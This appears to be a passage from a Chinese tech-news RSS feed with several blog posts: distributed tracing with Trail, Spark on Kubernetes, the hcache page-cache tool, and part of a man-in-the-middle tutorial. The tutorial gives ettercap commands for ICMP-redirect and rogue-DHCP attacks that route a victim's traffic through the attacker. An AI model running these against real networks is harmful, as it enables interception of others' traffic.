 &lt;p&gt;如，为了展示一次调用完整的调用链，将查询特定   &lt;code&gt;traceId&lt;/code&gt; 下的所有   &lt;code&gt;span&lt;/code&gt;，并通过   &lt;code&gt;parentId&lt;/code&gt; 构建调用链。&lt;/p&gt;

 &lt;h2&gt;应用场景&lt;/h2&gt;

 &lt;h3&gt;调用链&lt;/h3&gt;

 &lt;p&gt;  &lt;img alt="call chain" src="https://cattail.me/assets/distributed-tracing/call-chain.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h3&gt;服务状态和关系&lt;/h3&gt;

 &lt;p&gt;在组织服务关系过程中，需要节点   &lt;code&gt;node&lt;/code&gt; 和关系   &lt;code&gt;link&lt;/code&gt; 两个原子数据。节点通过对多条   &lt;code&gt;span&lt;/code&gt; 聚合标签获得，关系通过聚合父子   &lt;code&gt;span&lt;/code&gt; 的标签（有方向性）获得。在展示服务状态过程时，数据量较小，节点和关系数据可以在浏览器端实时计算。在展示服务关系时，数据量较大，可以通过定时任务在特定时间计算。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="service relationship" src="https://cattail.me/assets/distributed-tracing/service-relationship.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h3&gt;性能监控&lt;/h3&gt;

 &lt;p&gt;服务性能数据可以通过 Kibana 和 Elasticsearch 直接生成图表，&lt;/p&gt;

 &lt;p&gt;可用性
  &lt;img alt="availability" src="https://cattail.me/assets/distributed-tracing/availability.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;响应时间
  &lt;img alt="response time" src="https://cattail.me/assets/distributed-tracing/response-time.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;QPS
  &lt;img alt="QPS" src="https://cattail.me/assets/distributed-tracing/qps.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;慢路由
  &lt;img alt="Slow Route" src="https://cattail.me/assets/distributed-tracing/slow-route.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;接口请求量
  &lt;img alt="Accesslog" src="https://cattail.me/assets/distributed-tracing/accesslog.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h2&gt;遗留问题&lt;/h2&gt;

 &lt;p&gt;目前 Trail 的采集功能已经完善，然而在存储，处理和分析功能上还有很多遗留问题。&lt;/p&gt;

 &lt;h3&gt;分布式时钟同步&lt;/h3&gt;

 &lt;p&gt;在绘制调用链的过程中，发现子   &lt;code&gt;span&lt;/code&gt; 的开始时间可能小于父   &lt;code&gt;span&lt;/code&gt; 时间，这个问题是由不同机器之间存在时间差引起的。因为整个   &lt;code&gt;span&lt;/code&gt; 的时间非常短（通常只有十几毫秒），机器间细微的时间不同步也会导致这种现象。该问题仍未解决，仅在绘制调用链的过程中补偿时间差。&lt;/p&gt;

 &lt;h3&gt;异步调用&lt;/h3&gt;

 &lt;p&gt;Trail 目前仅支持同步调用，对异步调用（如任务队列）其实也可以从相似的方式处理，&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;生产者创建任务并附加额外参数&lt;/li&gt;
    &lt;li&gt;任务队列支持任务附加额外参数&lt;/li&gt;
    &lt;li&gt;消费者获取任务并解析参数&lt;/li&gt;
&lt;/ol&gt;

 &lt;h3&gt;Continuation-Local Storage&lt;/h3&gt;

 &lt;p&gt;对 Node.js 应用代码来说，所有请求都在一个线程中，因而难以区分  &lt;strong&gt;当前执行代码在哪个 trace 上&lt;/strong&gt;（Request-Local）。&lt;/p&gt;

 &lt;p&gt;  &lt;a href="https://github.com/othiym23/node-continuation-local-storage"&gt;continuation-local-storage&lt;/a&gt;  &lt;a href="https://github.com/othiym23/node-continuation-local-storage/issues/59"&gt;部分解决&lt;/a&gt;了这个问题，它通过  &lt;a href="https://github.com/othiym23/node-continuation-local-storage/blob/9f002d05bc50882c3dc1403ca5153b1a3df8a7ff/context.js#L154"&gt;绑定回调函数的上下文&lt;/a&gt;来区分请求。然而这增加了埋点代码的复杂度，在为基础库实现采集代码时，需要  &lt;a href="https://github.com/open-trail/trail/blob/926491f056acec923ebd02f885d5b964581f5c2d/packages/node-trail-agent/src/agent.js#L151"&gt;非常小心的实现&lt;/a&gt;和完备的测试用例，才能保证不出问题。&lt;/p&gt;

 &lt;h2&gt;附录&lt;/h2&gt;

 &lt;p&gt;  &lt;code&gt;span&lt;/code&gt; 的完整数据结构&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;type Span {
    operationName: String
    startTime: Number
    duration: Number
    tags: [Object]
    logs: [Array]

    traceId: Long
    spanId: Long
    parentId: String
    sampled: Boolean
    baggage: Object
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;  &lt;code&gt;span&lt;/code&gt; 示例&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;{
  &amp;quot;type&amp;quot;: &amp;quot;trail&amp;quot;,
  &amp;quot;operationName&amp;quot;: &amp;quot;upyun.account.get&amp;quot;,
  &amp;quot;startTime&amp;quot;: 1475035067586,
  &amp;quot;duration&amp;quot;: 3,
  &amp;quot;tags&amp;quot;: {
    &amp;quot;type&amp;quot;: &amp;quot;ServerReceive&amp;quot;,
    &amp;quot;service&amp;quot;: &amp;quot;surume&amp;quot;,
    &amp;quot;address&amp;quot;: &amp;quot;10.0.5.58&amp;quot;,
    &amp;quot;host&amp;quot;: &amp;quot;10.0.5.58&amp;quot;,
    &amp;quot;port&amp;quot;: &amp;quot;8888&amp;quot;,
    &amp;quot;protocol&amp;quot;: &amp;quot;upyun.dendenmushi&amp;quot;,
    &amp;quot;status&amp;quot;: 0
  },
  &amp;quot;traceId&amp;quot;: &amp;quot;5638971931279564310&amp;quot;,
  &amp;quot;spanId&amp;quot;: &amp;quot;1171987629847622065&amp;quot;,
  &amp;quot;parentId&amp;quot;: &amp;quot;17243618903848623758&amp;quot;,
  &amp;quot;sampled&amp;quot;: true,
  &amp;quot;baggage&amp;quot;: {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;  &lt;code&gt;span&lt;/code&gt; 生命周期&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="span life time" src="https://cattail.me/assets/distributed-tracing/span-lifetime.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;Credit:    &lt;a href="https://research.google.com/pubs/pub36356.html"&gt;Dapper, a Large-Scale Distributed Systems Tracing Infrastructure&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/57621-trail-%E5%88%86%E5%B8%83</guid>
      <pubDate>Wed, 15 Mar 2017 14:33:00 CST</pubDate>
    </item>
    <item>
      <title>喜大普奔：Spark on kubernetes</title>
      <link>https://itindex.net/detail/57412-spark-on-kubernetes</link>
      <description>&lt;ul&gt;
    &lt;li&gt;   &lt;a href="http://ieevee.com/#1-spark-on-kubernetes"&gt;1 Spark on Kubernetes&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="http://ieevee.com/#2-goals"&gt;2 Goals&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="http://ieevee.com/#3-&amp;#35774;&amp;#35745;&amp;#24605;&amp;#36335;"&gt;3 设计思路&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="http://ieevee.com/#31-cluster--client"&gt;3.1 cluster &amp;amp; client&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="http://ieevee.com/#32-&amp;#21453;&amp;#21387;"&gt;3.2 反压&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="http://ieevee.com/#33-&amp;#20381;&amp;#36182;&amp;#25991;&amp;#20214;&amp;#23384;&amp;#20648;"&gt;3.3 依赖文件存储&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="http://ieevee.com/#34-&amp;#21160;&amp;#24577;&amp;#36164;&amp;#28304;&amp;#20998;&amp;#37197;"&gt;3.4 动态资源分配&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="http://ieevee.com/#35-k8s&amp;#37197;&amp;#32622;&amp;#39033;"&gt;3.5 k8s配置项&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="http://ieevee.com/#4-&amp;#36305;&amp;#19979;&amp;#35797;&amp;#35797;"&gt;4 跑下试试&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;h3&gt;1 Spark on Kubernetes&lt;/h3&gt;

 &lt;p&gt;两个星期前(08/15/2017)，spark社区提了一个新的SPIP(Spark Project Improvement Proposals): Spark on Kubernetes: Kubernetes as A Native Cluster Manager，即用k8s管理spark集群。经过社区2个星期的投票，看上去很快要能合入了。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="http://ieevee.com/assets/spark-on-k8s-1.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;喜大普奔啊！&lt;/p&gt;

 &lt;p&gt;我场的spark为了支持多租户也是跑在k8s上的，但其实是一个太监的方案：在k8s上跑的只是spark driver，而spark excutor是跑在yarn上的。但这个方案有2个局限：&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;由于yarn会将driver的listen socket信息带给excutor，让excutor反过来访问该listen socket，所以k8s集群和yarn集群必须跑在同一套服务器上，否则yarn上的container将无法访问k8s集群内部的容器。&lt;/li&gt;
    &lt;li&gt;由于k8s和yarn在同一套服务器上，即存在2个集群管理者，因此也必然存在资源竞争：究竟k8s是大房，还是yarn做小妾？在我们的集群上就出现过，yarn上跑的excutor负载过重，导致k8s上的容器出现故障的现象。当然可以在k8s和yarn之外再加一个管理者(齐人有一妻一妾)，由它来统筹k8s和yarn，但终究是复杂了一点。&lt;/li&gt;
&lt;/ol&gt;

 &lt;p&gt;该SPIP合入Spark后，Spark将支持k8s作为集群管理器，可以解决上述问题：集群只有1个管理者，Spark与其他跑在k8s上的app并无二致，都是普通app而已，都要接受k8s的管理。&lt;/p&gt;

 &lt;h3&gt;2 Goals&lt;/h3&gt;

 &lt;ul&gt;
    &lt;li&gt;Make Kubernetes a first-class cluster manager for Spark, alongside Spark Standalone, Yarn, and Mesos.&lt;/li&gt;
    &lt;li&gt;Support both client and cluster deployment mode.&lt;/li&gt;
    &lt;li&gt;Support dynamic resource allocation.&lt;/li&gt;
    &lt;li&gt;Support Spark Java/Scala, PySpark, and Spark R applications.&lt;/li&gt;
    &lt;li&gt;Support secure HDFS access.&lt;/li&gt;
    &lt;li&gt;Allow running applications of different Spark versions in the same cluster through the ability to specify the driver and executor Docker images on a per-application basis.&lt;/li&gt;
    &lt;li&gt;Support specification and enforcement of limits on both CPU cores and memory.&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;基本上能够替换yarn了，而且能得到若干额外的好处，例如多版本Spark同时运行。特别是支持secure HDFS，好评。&lt;/p&gt;

 &lt;h3&gt;3 设计思路&lt;/h3&gt;

 &lt;p&gt;Spark的driver和excutor都运行在Pod中。driver会调用k8s的api来创建和销毁Excutor pod，而k8s则负责将Pod调度到合适的Node上执行。&lt;/p&gt;

 &lt;h4&gt;3.1 cluster &amp;amp; client&lt;/h4&gt;

 &lt;p&gt;spark on k8s支持cluster和client两种模式。&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;在cluster模式下，driver运行在pod中，spark-submit脚本会启动一个k8s client，该client负责调用k8s api。由于driver也运行在pod中，所以集群中的excutor容器可以直接访问。&lt;/li&gt;
    &lt;li&gt;在客户端模式下，driver在集群外部运行，并调用Kubernetes API来创建和销毁执行器Pods。driver必须可以从集群中路由，以便excutor容器与之进行通信。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;driver中运行的主要组件是KubernetesClusterSchedulerBackend ，它是CoarseGrainedSchedulerBackend的一个实现，它通过调用方法doRequestTotalExecutors 和doKillExecutors 分别管理通过Kubernetes API分配和销毁执行程序。&lt;/p&gt;

 &lt;h4&gt;3.2 反压&lt;/h4&gt;

 &lt;p&gt;在KubernetesClusterSchedulerBackend内，单独的kubernetes-pod-allocator线程通过适当的调节和监视来处理新的Excutor Pods的创建。该线程会根据先前的excutor Pod创建请求是否已完成，决定是否k8s提交新的请求。&lt;/p&gt;

 &lt;p&gt;这种反压是必要的，因为Kubernetes API server乐观地接受对新Pods的请求，期望能够最终安排它们运行。&lt;/p&gt;

 &lt;p&gt;然而，k8s集群内有大量暂时无资源调度的Pods并不是个好事情。反压机制使我们能够控制应用程序扩展速度（可配置），并有助于防止Spark应用程序使用太多Pod创建请求，对Kubernetes API server造成DOS攻击&lt;/p&gt;

 &lt;h4&gt;3.3 依赖文件存储&lt;/h4&gt;

 &lt;p&gt;spark on k8s有辅助和可选组件：ResourceStagingServer 和KubernetesExternalShuffleService ，它们具体描述如下。&lt;/p&gt;

 &lt;p&gt;ResourceStagingServer 用作文件存储（如果没有Kubernetes持久化存储）。client会将application依赖上传到ResourceStagingServer，而driver和excutor pod中的 init-containers 会从ResourceStagingServer下载依赖。&lt;/p&gt;

 &lt;p&gt;ResourceStagingServer是一个JAX-RS的jetty server，分别具有用于上传和下载文件的两个端点。上传响应中返回安全令牌，并且必须在下载文件的请求中携带该令牌。&lt;/p&gt;

 &lt;p&gt;该ResourceStagingServer 部署为Kubernetes的service+deployment，并且可以在同一集群中部署多个实例。Spark应用程序通过配置属性指定要使用哪个ResourceStagingServer 实例。&lt;/p&gt;

 &lt;h4&gt;3.4 动态资源分配&lt;/h4&gt;

 &lt;p&gt;KubernetesExternalShuffleService 用于支持动态资源分配：Spark应用程序的Excutor的数量可以在运行时根据资源需求动态改变。&lt;/p&gt;

 &lt;p&gt;它为驱动程序提供了一个额外的端点，允许shuffle service删除driver程序，终止并清理与相应application相关联的随机文件。&lt;/p&gt;

 &lt;p&gt;有两种部署KubernetesExternalShuffleService的方法：或者使用DaemonSet在每个节点(或者一部分节点)中运行shuffle service，或者在每个执行器Pods中运行shuffle service。&lt;/p&gt;

 &lt;p&gt;在第一个选项中，每个 shuffle service 容器都装载一个hostPath卷。每个Excutor容器也安装相同的hostPath卷，该容器也必须将环境变量SPARK_LOCAL_DIRS 指向hostPath。&lt;/p&gt;

 &lt;p&gt;在第二个选项中， shuffle service 与每个Excutor Pod中的Excutor容器位于同一位置。两个容器共享一个emptyDir卷，用以写入shuffle数据。在集群中部署的 shuffle service 可能有多个，可能用于不同版本的Spark，或者用于资源配额不同的优先级别。&lt;/p&gt;

 &lt;h4&gt;3.5 k8s配置项&lt;/h4&gt;

 &lt;p&gt;Spark on k8s还引入了新的Kubernetes配置选项，以便于指定driver和excutor Pods的Kubernetes资源。例如，driver和excutor Pods可以在特定的Kubernetes命名空间中以及集群中特定的一组节点上创建。允许用户将label和注释应用于driver和excutor Pods。&lt;/p&gt;

 &lt;p&gt;下面例子里我指定了  &lt;code&gt;spark.kubernetes.driver.limit.cores&lt;/code&gt;和  &lt;code&gt;spark.kubernetes.executor.limit.cores&lt;/code&gt;。&lt;/p&gt;

 &lt;p&gt;另外，HDFS的安全性正在积极地进行设计。利用内置的Kubernetes Secrets，可以支持短期运行作业和长期运行作业。&lt;/p&gt;

 &lt;h3&gt;4 跑下试试&lt;/h3&gt;

 &lt;p&gt;试试就试试。&lt;/p&gt;

 &lt;p&gt;要运行Spark on k8s，需要先满足如下条件。&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;k8s集群。a piece of cake&lt;/li&gt;
    &lt;li&gt;具备创建pods, configmaps, secrets的权限。a piece of cake&lt;/li&gt;
    &lt;li&gt;支持k8s的spark distribution。可以从   &lt;a href="https://github.com/apache-spark-on-k8s/spark/releases"&gt;这里&lt;/a&gt;下载，也可以自己编译。当然你要是下载不了(aws s3你懂的)，可以给我mail，一块钱一份。&lt;/li&gt;
    &lt;li&gt;相关spark on k8s镜像:spark-driver/spark-excutor/spark-init&lt;/li&gt;
&lt;/ul&gt;

 &lt;table&gt;
  
      &lt;tr&gt;
         &lt;th&gt;Component&lt;/th&gt;
         &lt;th&gt;Image&lt;/th&gt;
    &lt;/tr&gt;
  
  
      &lt;tr&gt;
         &lt;td&gt;Spark Driver&lt;/td&gt;
         &lt;td&gt;Image	kubespark/spark-driver:v2.2.0-kubernetes-0.3.0&lt;/td&gt;
    &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td&gt;Spark Executor&lt;/td&gt;
         &lt;td&gt;Image	kubespark/spark-executor:v2.2.0-kubernetes-0.3.0&lt;/td&gt;
    &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td&gt;Spark Initialization&lt;/td&gt;
         &lt;td&gt;Image	kubespark/spark-init:v2.2.0-kubernetes-0.3.0&lt;/td&gt;
    &lt;/tr&gt;
  
&lt;/table&gt;

 &lt;p&gt;向k8s提交一个Pi作业。  &lt;code&gt;--master&lt;/code&gt;指定了k8s的api server，可以通过kubectl clusterinfo查看Kubernetes master。jar文件是在容器里的，路径不要改。不过官方文档里写的是spark_examples_2.11-2.2.0.jar，这个名字是错的，按下面的命令即可。&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;bin/spark-submit \
  --deploy-mode cluster \
  --class org.apache.spark.examples.SparkPi  \
  --master k8s://http://127.0.0.1:8080  \
  --kubernetes-namespace default    \
  --conf spark.executor.instances=3    \
  --conf spark.app.name=spark-pi    \
  --conf spark.kubernetes.driver.limit.cores=1   \
  --conf spark.kubernetes.executor.limit.cores=1  \
  --conf spark.kubernetes.driver.docker.image=kubespark/spark-driver:v2.2.0-kubernetes-0.3.0  \
  --conf spark.kubernetes.executor.docker.image=kubespark/spark-executor:v2.2.0-kubernetes-0.3.0  \
  --conf spark.kubernetes.initcontainer.docker.image=kubespark/spark-init:v2.2.0-kubernetes-0.3.0  \
  local:///opt/spark/examples/jars/spark-examples_2.11-2.2.0-k8s-0.3.0.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;不过这种离线作业，在执行完了以后只是删除了Excutor Pod，但并没有删除driver Pod，仍然还在running，并不友好。如果确实想设计为干完不走，driver pod可以用Job类型，但这个行为跟Yarn又不一致了(Spark on Yarn执行完了所有进程都退出)，所以还是删除的好，只是这执行日志，哎呀，还是得找个好地方存起来呀。&lt;/p&gt;

 &lt;hr&gt;&lt;/hr&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>spark tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/57412-spark-on-kubernetes</guid>
      <pubDate>Thu, 31 Aug 2017 08:11:12 CST</pubDate>
    </item>
    <item>
      <title>一个可以查看linux当前缓存了哪些大文件的小工具</title>
      <link>https://itindex.net/detail/56947-linux-%E7%BC%93%E5%AD%98-%E6%96%87%E4%BB%B6</link>
      <description>&lt;p&gt;linux用户可能经常遇到的一个问题是，机器有16GB内存，开的进程也不多，但是剩下的free内存并不多，大部分都被buff/cache掉了（比如下面我的PC），但是cache了些什么东西并不清楚，linux也没有个命令能查看。&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;$ free -h
              total        used        free      shared  buff/cache   available
Mem:            15G        6.4G        2.3G        1.1G        6.9G        7.7G
Swap:          975M        268K        975M
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;前几天看到有个人用go写了个  &lt;a href="https://github.com/tobert/pcstat"&gt;pcstat&lt;/a&gt;，可以查看某个文件是否被缓存（作者的目的是数据库调优），也可以根据进程pid来查看都缓存了哪些文件，但是不能查看整个操作系统都cache了哪些文件。&lt;/p&gt;

 &lt;p&gt;因此，我基于pcstat写了个hcache，增加了查看当前操作系统cache的前top个文件的特性，你可以从  &lt;a href="http://7xir15.com1.z0.glb.clouddn.com/hcache"&gt;这里&lt;/a&gt;下载下来试用，如果有什么建议的话也欢迎反馈给我：hubottle@gmail.com&lt;/p&gt;

 &lt;p&gt;使用比较简单：&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;$ sudo hcache --top 10
[sudo] password for silenceshell:
+----------------------------------------------------------------------------------+----------------+------------+-----------+---------+
| Name                                                                             | Size (bytes)   | Pages      | Cached    | Percent |
|----------------------------------------------------------------------------------+----------------+------------+-----------+---------|
| /opt/google/chrome/chrome                                                        | 114911208      | 28055      | 25457     | 090.740 |
| /usr/share/code/code                                                             | 67688720       | 16526      | 12274     | 074.271 |
| /home/silenceshell/Software/pycharm-community-2016.2/lib/pycharm.jar                   | 95177431       | 23237      | 11325     | 048.737 |
| /opt/atom/atom                                                                   | 62641344       | 15294      | 10578     | 069.164 |
| /usr/bin/dockerd                                                                 | 39121168       | 9552       | 7103      | 074.361 |
| /home/silenceshell/Software/pycharm-community-2016.2/jre/jre/lib/amd64/libjfxwebkit.so | 57455824       | 14028      | 6625      | 047.227 |
| /usr/lib/x86_64-linux-gnu/libQtWebKit.so.4.10.2                                  | 36462184       | 8902       | 6316      | 070.950 |
| /usr/lib/beyondcompare/BCompare                                                  | 30640160       | 7481       | 5505      | 073.586 |
| /usr/bin/SecureCRT                                                               | 29524560       | 7209       | 4806      | 066.667 |
| /usr/share/code/libnode.so                                                       | 21135976       | 5161       | 4588      | 088.898 |
+----------------------------------------------------------------------------------+----------------+------------+-----------+---------+
$
$ sudo ./hcache --top 3  --bname  
+-------------+----------------+------------+-----------+---------+
| Name        | Size (bytes)   | Pages      | Cached    | Percent |
|-------------+----------------+------------+-----------+---------|
| chrome      | 114911208      | 28055      | 25476     | 090.807 |
| pycharm.jar | 95177431       | 23237      | 11479     | 049.400 |
| atom        | 62641344       | 15294      | 10578     | 069.164 |
+-------------+----------------+------------+-----------+---------+
$
$ lsof /usr/lib/x86_64-linux-gnu/libQtWebKit.so.4.10.2
COMMAND    PID   USER  FD   TYPE DEVICE SIZE/OFF    NODE NAME
quiterss 20630 silenceshell mem    REG    8,5 36462184 3936610 /usr/lib/x86_64-linux-gnu/libQtWebKit.so.4.10.2
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;源码开源在Github上：  &lt;a href="https://github.com/silenceshell/hcache"&gt;hcache&lt;/a&gt;&lt;/p&gt;

 &lt;hr&gt;&lt;/hr&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>hcache tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/56947-linux-%E7%BC%93%E5%AD%98-%E6%96%87%E4%BB%B6</guid>
      <pubDate>Sat, 20 May 2017 08:11:12 CST</pubDate>
    </item>
    <item>
      <title>成为中间人的几种方式</title>
      <link>https://itindex.net/detail/54744-%E4%B8%AD%E9%97%B4%E4%BA%BA</link>
      <description>&lt;p&gt;前面几篇文章已经介绍了常见的中间人攻击方式，即窃听、修改和重定向（钓鱼）。当然这都是建立在我们完全掌握
了局域网的所有流量的前提下的。在  &lt;a href="http://pannzh.github.io/tech/2015/11/01/arp-mitm.html"&gt;ARP欺骗与中间人攻击&lt;/a&gt;中就已经介绍了一种最简单的一种控制流量的
方法，即ARP欺骗。但是ARP的方式往往对网络的负载造成较大压力，从而对别人的网速造成影响不说，如果目标稍微
有点意识，也能很容易发现和防御ARP攻击。因此我们需要其他更多的选择来成为中间人，本文就来介绍一下各种不同的
中间人方式。&lt;/p&gt;

 &lt;h2&gt;ICMP重定向攻击&lt;/h2&gt;

 &lt;p&gt;ICMP的全称为Internet Control Message Protocol，即网络控制报文协议，被封装在IP层数据中。它是TCP/IP协议族的一个
附属协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络
本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。&lt;/p&gt;

 &lt;h3&gt;ICMP原理&lt;/h3&gt;

 &lt;p&gt;ICMP报文主要分为4个部分，分别是类型（type），代码（code），校验和（checksum）和对应类型的数据报（datagram）。
type为0-16，如我们常用的ping命令就基于ICMP协议，type为8（echo ping request）。而code字段为0-5，通常路由器无法转发
IP报文时会给源头发送方发送ICMP目的不可到达报文，code代表发送失败的原因，如0代表  &lt;code&gt;net unreachable&lt;/code&gt;,1代表  &lt;code&gt;host unreachable&lt;/code&gt;
等等。下图是一个简要的概述，协议详情可以查看  &lt;strong&gt;RFC792&lt;/strong&gt;。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="ICMP" src="http://images2015.cnblogs.com/blog/676200/201511/676200-20151121194922249-882105359.jpg"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h3&gt;ICMP攻击方法&lt;/h3&gt;

 &lt;p&gt;由于ICMP协议中有重定向的报文类型，那么我们就可以伪造一个ICMP信息然后发送给局域网中的客户端，并伪装自己是
一个更好的路由通路。从而导致目标所有的上网流量都会发送到我们指定的接口上，达到和ARP欺骗同样的效果。我们接收
到客户端的流量后，经过玩耍再将其转发给真正的网关就可以了。&lt;/p&gt;

 &lt;p&gt;以ettercap举例实现如下：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;#ettercap  -i wlan0 -Tq -M icmp:11:22:33:44:55/192.168.1.1 

其中11:22:33:44:55为网关MAC地址，192.168.1.1为网关IP，运行后将会重定向所有经过指定网关的链接。当然也可以指定target。
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;值得一提的是，ICMP重定向攻击是半双工的，只有客户端被重定向了。也就是说我们只能得到目标到路由器的外出
流量，而无法得到路由器到目标的流量。原因是网关不接受同一内网的重定向请求信息。另外要注意在我们进行中间人活动的
时候，  &lt;strong&gt;不要修改payload的长度&lt;/strong&gt;，原因也是因为tcp数据无法双向更新。&lt;/p&gt;

 &lt;h2&gt;DHCP攻击&lt;/h2&gt;

 &lt;p&gt;DHCP相信大家都不会陌生，其全称为Dynamic Host Configuration Protocol，动态主机配置协议。作为局域网的一个网络
协议，主要作用是给内网客户端自动分配IP地址。其中DHCP server的端口号为67，DHCP client端口号为68，采用UDP协议通讯。&lt;/p&gt;

 &lt;h3&gt;DHCP请求过程&lt;/h3&gt;

 &lt;p&gt;客户端连接到一个局域网后，第一件事就是向网关（DHCP server）请求分配一个可用的IP地址，具体的交互过程如下：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="DHCP" src="http://images2015.cnblogs.com/blog/676200/201511/676200-20151121211503890-2024287785.jpg"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;1. DHCP Client以广播的方式发出DHCP Discover报文。
2. 所有的DHCP Server都能够接收到DHCP Client发送的DHCP Discover报文，所有的DHCP Server都会给出响应，向DHCP Client发送一个DHCP Offer报文。
3. DHCP Offer报文中“Your(Client) IP Address”字段就是DHCP Server能够提供给DHCP Client使用的IP地址，且DHCP Server会将自己的IP地址放在“option”字段中以便DHCP Client区分不同的DHCP Server。DHCP Server在发出此报文后会存在一个已分配IP地址的纪录。
4. DHCP Client只能处理其中的一个DHCP Offer报文，一般的原则是DHCP Client处理最先收到的DHCP Offer报文。
5. DHCP Client会发出一个广播的DHCP Request报文，在选项字段中会加入选中的DHCP Server的IP地址和需要的IP地址。
6. DHCP Server收到DHCP Request报文后，判断选项字段中的IP地址是否与自己的地址相同。如果不相同，DHCP Server不做任何处理只清除相应IP地址分配记录；如果相同，DHCP Server就会向DHCP Client响应一个DHCP ACK报文，并在选项字段中增加IP地址的使用租期信息。
7. DHCP Client接收到DHCP ACK报文后，检查DHCP Server分配的IP地址是否能够使用。如果可以使用，则DHCP Client成功获得IP地址并根据IP地址使用租期自动启动续延过程；如果DHCP Client发现分配的IP地址已经被使用，则DHCP Client向DHCPServer发出DHCP Decline报文，通知DHCP Server禁用这个IP地址，然后DHCP Client开始新的地址申请过程。
8. DHCP Client在成功获取IP地址后，随时可以通过发送DHCP Release报文释放自己的IP地址，DHCP Server收到DHCP Release报文后，会回收相应的IP地址并重新分配。
9. 在使用租期超过某个时刻处，DHCP Client会以单播或者广播形式向DHCP Server发送DHCPRequest报文来续租IP地址。
&lt;/code&gt;&lt;/pre&gt;

 &lt;h3&gt;DHCP攻击方法&lt;/h3&gt;

 &lt;p&gt;由于一个局域网内可以有多个DHCP服务器，因此我们可以伪装成一个DHCP服务器，在目标发出DHCP请求的时候,抢先为其提供
一个合法的IP地址，这样攻击者就能操纵GW参数并且监控和修改外出的流量。注意DHCP方式的攻击也是半双工的，和ICMP一样
不能修改payload长度。&lt;/p&gt;

 &lt;p&gt;在本机运行dhcp-server很简单，但是要使得DHCP Offer和DHCP ACK要比网关要快才行，为此有两种策略：&lt;/p&gt;

 &lt;h4&gt;一. 加快自己的DHCP服务器响应速度&lt;/h4&gt;

 &lt;p&gt;ettercap就是这么做的，其不检测IP是否已经分配就立刻响应Client的DHCP Request请求，因此我们要确保分配的ip池是完全
可用的：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;#ettercap -i wlan0 -Tq -M dhcp:192.168.1.150,160-200/255.255.255.0/192.168.1.1
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中192.168.1.150,160-200为ip池，255.255.255.0为子网掩码，192.168.1.1为DNS服务器，这个命令会响应DHCP Offer和Request，
如果想只响应DHCP Request，可以不指定ip池。&lt;/p&gt;

